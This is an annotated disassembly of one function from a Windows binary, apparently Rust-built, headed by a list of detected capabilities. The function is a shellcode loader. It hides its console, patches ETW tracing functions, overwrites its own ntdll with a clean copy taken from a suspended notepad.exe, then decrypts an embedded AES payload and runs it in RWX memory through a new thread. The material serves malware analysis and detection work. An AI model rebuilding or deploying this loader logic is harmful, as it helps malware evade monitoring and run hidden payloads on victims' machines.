Function at 0x1400019a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Encode data using base64
Execute shellcode via indirect call
Hide graphical window
Inject thread
Link many functions at runtime
Patch event tracing for windows function
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x2d8
call sub.KERNEL32.dll_GetConsoleWindow
mov rsi, rax
mov rcx, rax
xor edx, edx
call sub.USER32.dll_ShowWindow
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
xor r9d, r9d
call sub.USER32.dll_SetWindowPos
lea rcx, [0x140138654]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x1401386a7]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
xorps xmm0, xmm0
movaps xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xe0], 0
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0x150], xmm0
movaps xmmword [rsp + 0x140], xmm0
movaps xmmword [rsp + 0x130], xmm0
movaps xmmword [rsp + 0x120], xmm0
movaps xmmword [rsp + 0x110], xmm0
movaps xmmword [rsp + 0x100], xmm0
mov dword [rsp + 0xf0], 0x70
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rdx, str.notepad.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessA
call sym.winproc::process::Process::current::h7c1854016bd01855
mov qword [rsp + 0xb8], rax
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0xb8]
call sym.winproc::process::Process::module_list::hdb7daeb5a2f9b1ab
cmp dword [rsp + 0x80], 4
jne 0x140002468
mov rdi, qword [rsp + 0x88]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0xb0], rax
mov r15, qword [rsp + 0x98]
test r15, r15
je 0x140001cee
shl r15, 4
xor r14d, r14d
movabs r12, 0x6c642e6c6c64746e
nop
mov rax, qword [rdi + r14 + 8]
test rax, rax
je 0x140001cee
mov rcx, qword [rdi + r14]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x68]
call sym.winproc::process::module::Module::name::h12f200ceb3919398
cmp dword [rsp + 0x80], 4
jne 0x1400023f8
mov rbx, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x90]
mov r8, qword [rsp + 0x98]
lea rcx, [rsp + 0xf0]
mov rdx, rbx
call dbg.to_lowercase
mov ecx, 9
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x1400023e4
mov rcx, rax
mov qword [rax], r12
mov byte [rax + 8], 0x6c
mov rbp, qword [rsp + 0xf0]
cmp qword [rsp + 0x100], 9
jne 0x140001c90
mov rax, qword [rbp]
xor rax, qword [rcx]
movzx edx, byte [rbp + 8]
xor dl, byte [rcx + 8]
movzx edx, dl
or rdx, rax
sete r13b
jmp 0x140001c93
xor r13d, r13d
mov edx, 9
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xf8]
test rdx, rdx
je 0x140001cc2
mov r8, rdx
not r8
shr r8, 0x3f
mov rcx, rbp
call sym.__rust_dealloc
test rsi, rsi
je 0x140001cdc
mov r8, rsi
not r8
shr r8, 0x3f
mov rcx, rbx
mov rdx, rsi
call sym.__rust_dealloc
test r13b, r13b
jne 0x140001d1f
add r14, 0x10
cmp r15, r14
jne 0x140001bd0
mov rdx, qword [rsp + 0xb0]
test rdx, rdx
je 0x140001d0d
shl rdx, 4
mov r8d, 8
mov rcx, rdi
call sym.__rust_dealloc
lea rcx, [rsp + 0xb8]
call sym.__winproc::handle::Handle_as_core::ops::drop::Drop_::drop::hf8a87220ac03b45d
xor r14d, r14d
jmp 0x140001d58
lea rcx, [rsp + 0x68]
call sym.winproc::process::module::Module::handle::h4016472c4afe292b
mov r14, rax
mov rdx, qword [rsp + 0xb0]
test rdx, rdx
je 0x140001d4b
shl rdx, 4
mov r8d, 8
mov rcx, rdi
call sym.__rust_dealloc
lea rcx, [rsp + 0xb8]
call sym.__winproc::handle::Handle_as_core::ops::drop::Drop_::drop::hf8a87220ac03b45d
lea rdx, str.C:WindowsSystem32_ntdll.dll0x
lea rcx, [rsp + 0xf0]
mov r8d, 0x1d
call sym.pelite::mmap::windows::ImageMap::_open::he0e11b20c0667a0a
cmp qword [rsp + 0xf0], 0
je 0x140001dd2
mov rdi, qword [rsp + 0xf8]
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x140001ede
lea rsi, [rdi - 1]
mov rcx, qword [rdi - 1]
mov rax, qword [rdi + 7]
call qword [rax]
mov rax, qword [rdi + 7]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x140001dba
mov r8, qword [rax + 0x10]
mov rcx, qword [rsi]
call sym.__rust_dealloc
mov edx, 0x18
mov r8d, 8
mov rcx, rsi
call sym.__rust_dealloc
jmp 0x140001ede
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [rsp + 0xf8]
movaps xmmword [rsp + 0x80], xmm0
lea rcx, [rsp + 0x80]
call sym.__pelite::mmap::windows::FileMap_as_core::convert::AsRef__u8___::as_ref::h71df90983758dd47
mov rsi, rax
mov rdi, rdx
mov rcx, rax
call sym.pelite::pe64::pe::validate_headers::h1225365caf1f3bcb
test al, 1
jne 0x1400025b0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rdi
lea rcx, [rsp + 0x68]
call sym.__pelite::pe32::view::PeView_as_pelite::pe32::pe::PeObject_::image::h7b8efe15b935548d
mov rcx, rax
call sym.pelite::pe32::pe::section_headers::h01956af57937d3f7
add rax, 0xffffffffffffffd8
shl rdx, 3
lea rcx, [rdx + rdx*4]
movabs rdx, 0x747865742e
nop word [rax + rax]
test rcx, rcx
je 0x1400023c7
lea rbx, [rax + 0x28]
add rcx, 0xffffffffffffffd8
cmp qword [rax + 0x28], rdx
mov rax, rbx
jne 0x140001e50
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rdi
lea rcx, [rsp + 0x68]
call sym.__pelite::pe32::view::PeView_as_pelite::pe32::pe::PeObject_::image::h7b8efe15b935548d
mov rdi, rax
mov rbp, rdx
lea rsi, [rsp + 0x68]
mov rcx, rsi
call sym.__pelite::pe32::view::PeView_as_pelite::pe32::pe::PeObject_::align::h01b07ebae7b3db80
mov byte [rsp + 0x20], al
lea rcx, [rsp + 0xb8]
mov rdx, rdi
mov r8, rbp
mov r9, rbx
call sym.pelite::wrap::pe::get_section_bytes::h4e3ce5a72b37042d
cmp qword [rsp + 0xb8], 0
je 0x1400025ce
mov eax, dword [rbx + 8]
mov ecx, dword [rbx + 0xc]
add r14, rcx
mov qword [0x140180030], rax
mov qword [0x140180038], r14
lea rcx, [rsp + 0x80]
call sym.__pelite::mmap::windows::FileMap_as_core::ops::drop::Drop_::drop::hff9e133f9231bca0
lea rax, [0x140180038]
mov qword [rsp + 0x68], rax
lea rax, [sym.core::fmt::num::__impl_core::fmt::LowerHex_for_i64_::fmt::h433139e490455ac1]
mov qword [rsp + 0x70], rax
lea rax, [0x1401386d8]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0xf0]
call dbg.format_inner
mov r15, qword [rsp + 0x80]
mov r12, qword [rsp + 0x88]
mov rbx, qword [0x140180030]
test rbx, rbx
je 0x140001fa5
xor edi, edi
mov rax, rbx
shr rax, 0x3d
sete al
jne 0x14000259c
lea rsi, [rbx*4]
mov dil, al
shl rdi, 2
test rsi, rsi
je 0x140001fac
mov rcx, rsi
mov rdx, rdi
call sym.__rust_alloc_zeroed
mov rbp, rax
test rbp, rbp
jne 0x140001fb8
jmp 0x1400025a3
mov ebp, 4
jmp 0x140001fb8
mov rbp, rdi
test rbp, rbp
je 0x1400025a3
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [0x140180038]
mov qword [rsp + 0x20], 0
mov r8, rbp
mov r9, rbx
call sub.ntdll.dll_NtReadVirtualMemory
test eax, eax
jne 0x140002459
mov rdx, qword [0x140180038]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rbp
mov r9, rbx
call sub.KERNEL32.dll_WriteProcessMemory
cmp eax, 1
jne 0x140002459
test rbx, rbx
je 0x140002028
shl rbx, 2
mov r8d, 4
mov rcx, rbp
mov rdx, rbx
call sym.__rust_dealloc
test r12, r12
je 0x140002042
mov r8, r12
not r8
shr r8, 0x3f
mov rcx, r15
mov rdx, r12
call sym.__rust_dealloc
lea rcx, [0x140138654]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x1401386a7]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, section..data
lea rcx, [rsp + 0xf0]
call sym.base64::decode::decode::hbfffb64c116930c8
mov r12, qword [rsp + 0xf0]
test r12, r12
je 0x1400024c9
mov rsi, qword [rsp + 0xf8]
mov r15, qword [rsp + 0x100]
lea rdx, [0x1400d7010]
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0xb0], rsi
call sym.base64::decode::decode::hbfffb64c116930c8
mov r14, qword [rsp + 0xf0]
test r14, r14
je 0x140002507
mov r13, qword [rsp + 0xf8]
mov rbx, qword [rsp + 0x100]
lea rdx, [0x1400d7020]
lea rcx, [rsp + 0xf0]
call sym.base64::decode::decode::hbfffb64c116930c8
mov rsi, qword [rsp + 0xf0]
test rsi, rsi
je 0x140002548
mov rdi, qword [rsp + 0xf8]
mov rbp, qword [rsp + 0x100]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0x80], xmm0
cmp rbx, 0x20
jne 0x140002586
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
lea rcx, [rsp + 0xf0]
lea rdx, [rsp + 0x80]
call sym.libaes::Cipher::new_256::h56e5a38ccdf389c3
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r12
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0xf0]
mov r8, rsi
mov r9, rbp
call sym.libaes::Cipher::cbc_decrypt::hfdc2ca44529fe5f4
test rdi, rdi
je 0x140002246
mov r8, rdi
not r8
shr r8, 0x3f
mov rcx, rsi
mov rdx, rdi
call sym.__rust_dealloc
test r13, r13
je 0x140002260
mov r8, r13
not r8
shr r8, 0x3f
mov rcx, r14
mov rdx, r13
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xb0]
test rdx, rdx
je 0x14000227f
mov r8, rdx
not r8
shr r8, 0x3f
mov rcx, r12
call sym.__rust_dealloc
mov qword [rsp + 0xb8], 0
mov rdi, qword [rsp + 0x78]
mov qword [rsp + 0x80], rdi
mov dword [rsp + 0xcc], 0
mov qword [rsp + 0xf0], rdi
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0xb8]
lea r9, [rsp + 0xf0]
mov rcx, 0xffffffffffffffff
xor r8d, r8d
call sub.ntdll.dll_NtAllocateVirtualMemory
mov rdx, qword [rsp + 0xb8]
mov rsi, qword [rsp + 0x68]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rsi
mov r9, rdi
call sub.ntdll.dll_NtWriteVirtualMemory
lea rax, [rsp + 0xcc]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0xb8]
lea r8, [rsp + 0x80]
mov rcx, 0xffffffffffffffff
mov r9d, 0x20
call sub.ntdll.dll_NtProtectVirtualMemory
mov qword [rsp + 0xf0], 0
mov rax, qword [rsp + 0xb8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0xf0]
mov edx, 0x2000000
xor r8d, r8d
mov r9, 0xffffffffffffffff
call sub.ntdll.dll_NtCreateThreadEx
mov rcx, qword [rsp + 0xf0]
xor edx, edx
xor r8d, r8d
call sub.ntdll.dll_NtWaitForSingleObject
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x1400023b2
mov r8, rdx
not r8
shr r8, 0x3f
mov rcx, rsi
call sym.__rust_dealloc
nop
add rsp, 0x2d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [0x140138730]
lea r8, [0x140138760]
mov edx, 0x2b
call dbg.panic
jmp 0x140002601
mov ecx, 9
mov edx, 1
call dbg.handle_alloc_error
jmp 0x140002601
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x110], rax
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rax, [0x140138790]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400d8020]
lea r9, sym.core::ptr::drop_in_place_winproc::errors::Error_::hbb76d530738cacdd
lea r8, [rsp + 0xf0]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x140002601
mov ecx, 1
call dbg.exit
jmp 0x140002601
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x110], rax
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rax, [0x140138778]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400d8020]
lea r9, sym.core::ptr::drop_in_place_winproc::errors::Error_::hbb76d530738cacdd
lea r8, [rsp + 0xf0]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x140002601
movups xmm0, xmmword [rsp + 0xf8]
movaps xmmword [rsp + 0x80], xmm0
lea rax, [0x1401387a8]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400d8020]
lea r9, sym.core::ptr::drop_in_place_pelite::error::Error_::hef10a322772abfd7
lea r8, [rsp + 0x80]
mov edx, 0x2b
call dbg.unwrap_failed
ud2
movups xmm0, xmmword [rsp + 0xf8]
movaps xmmword [rsp + 0x80], xmm0
lea rax, [0x1401387c0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400d8020]
lea r9, sym.core::ptr::drop_in_place_pelite::error::Error_::hef10a322772abfd7
lea r8, [rsp + 0x80]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x140002601
movups xmm0, xmmword [rsp + 0xf8]
movaps xmmword [rsp + 0x80], xmm0
lea rax, [0x1401387d8]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400d8020]
lea r9, sym.core::ptr::drop_in_place_pelite::error::Error_::hef10a322772abfd7
lea r8, [rsp + 0x80]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x140002601
lea r8, [0x1401387f0]
mov ecx, 0x20
mov rdx, rbx
call dbg.len_mismatch_fail
jmp 0x140002601
call dbg.capacity_overflow
jmp 0x140002601
mov rcx, rsi
mov rdx, rdi
call dbg.handle_alloc_error
jmp 0x140002601
mov byte [rsp + 0x68], ah
lea rax, [0x140138700]
lea rsi, [rsp + 0x68]
mov edx, 6
lea rcx, str.REASONsrc_main.rs
jmp 0x1400025ed
movzx eax, byte [rsp + 0xc0]
mov byte [rsp + 0x68], al
lea rax, [0x140138718]
mov edx, 0x2b
lea rcx, [0x1400d8020]
mov qword [rsp + 0x20], rax
lea r9, section..rdata
mov r8, rsi
call dbg.unwrap_failed
ud2